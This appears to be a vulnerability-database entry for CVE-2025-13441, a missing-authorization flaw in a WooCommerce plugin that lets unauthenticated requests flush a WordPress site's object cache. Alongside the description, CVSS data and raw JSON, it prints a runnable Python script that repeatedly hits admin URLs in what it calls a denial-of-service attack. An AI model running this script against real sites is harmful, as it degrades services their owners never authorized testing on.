Security Vulnerability Report
中文
CVE-2025-13441 CVSS 5.3 MEDIUM

CVE-2025-13441

Published: 2025-11-27 07:15:56
Last Modified: 2026-04-15 00:35:42

Description

The Hide Category by User Role for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.3.1. This is due to a missing capability check on the admin_init hook that executes wp_cache_flush(). This makes it possible for unauthenticated attackers to flush the site's object cache via forged requests, potentially degrading site performance.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Hide Category by User Role for WooCommerce <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13441 PoC - Missing Authorization leading to Cache Flush DoS # Target: WordPress site with vulnerable Hide Category by User Role for WooCommerce plugin def exploit_cache_flush(target_url): """ Exploit the missing authorization vulnerability in admin_init hook that triggers wp_cache_flush() without capability check """ # Target the admin page that triggers the vulnerable hook exploit_urls = [ f"{target_url}/wp-admin/admin.php?page=hide-category-settings", f"{target_url}/wp-admin/options-general.php?page=hide-category-settings", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } print(f"[*] Starting DoS attack on {target_url}") print(f"[*] Sending forged requests to trigger wp_cache_flush()...") for url in exploit_urls: try: # No authentication required - this is the vulnerability response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Request sent to: {url}") print(f" Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def dos_attack(target_url, requests_count=100): """ Perform repeated cache flush attacks to degrade performance """ print(f"[*] Launching DoS attack with {requests_count} requests...") for i in range(requests_count): exploit_cache_flush(target_url) if (i + 1) % 10 == 0: print(f"[*] Progress: {i + 1}/{requests_count} requests sent") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13441-poc.py <target_url>") print("Example: python cve-2025-13441-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') dos_attack(target, requests_count=100)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13441", "sourceIdentifier": "[email protected]", "published": "2025-11-27T07:15:55.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Hide Category by User Role for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.3.1. This is due to a missing capability check on the admin_init hook that executes wp_cache_flush(). This makes it possible for unauthenticated attackers to flush the site's object cache via forged requests, potentially degrading site performance."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/hide-category-by-user-role-for-woocommerce/tags/2.3.1/admin/admin-ui-setup.php#L165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hide-category-by-user-role-for-woocommerce/trunk/admin/admin-ui-setup.php#L165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3402760%40hide-category-by-user-role-for-woocommerce&new=3402760%40hide-category-by-user-role-for-woocommerce&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b05b0f6d-ffa4-40f4-b969-1153192c52d6?source=cve", "source": "[email protected]"}]}}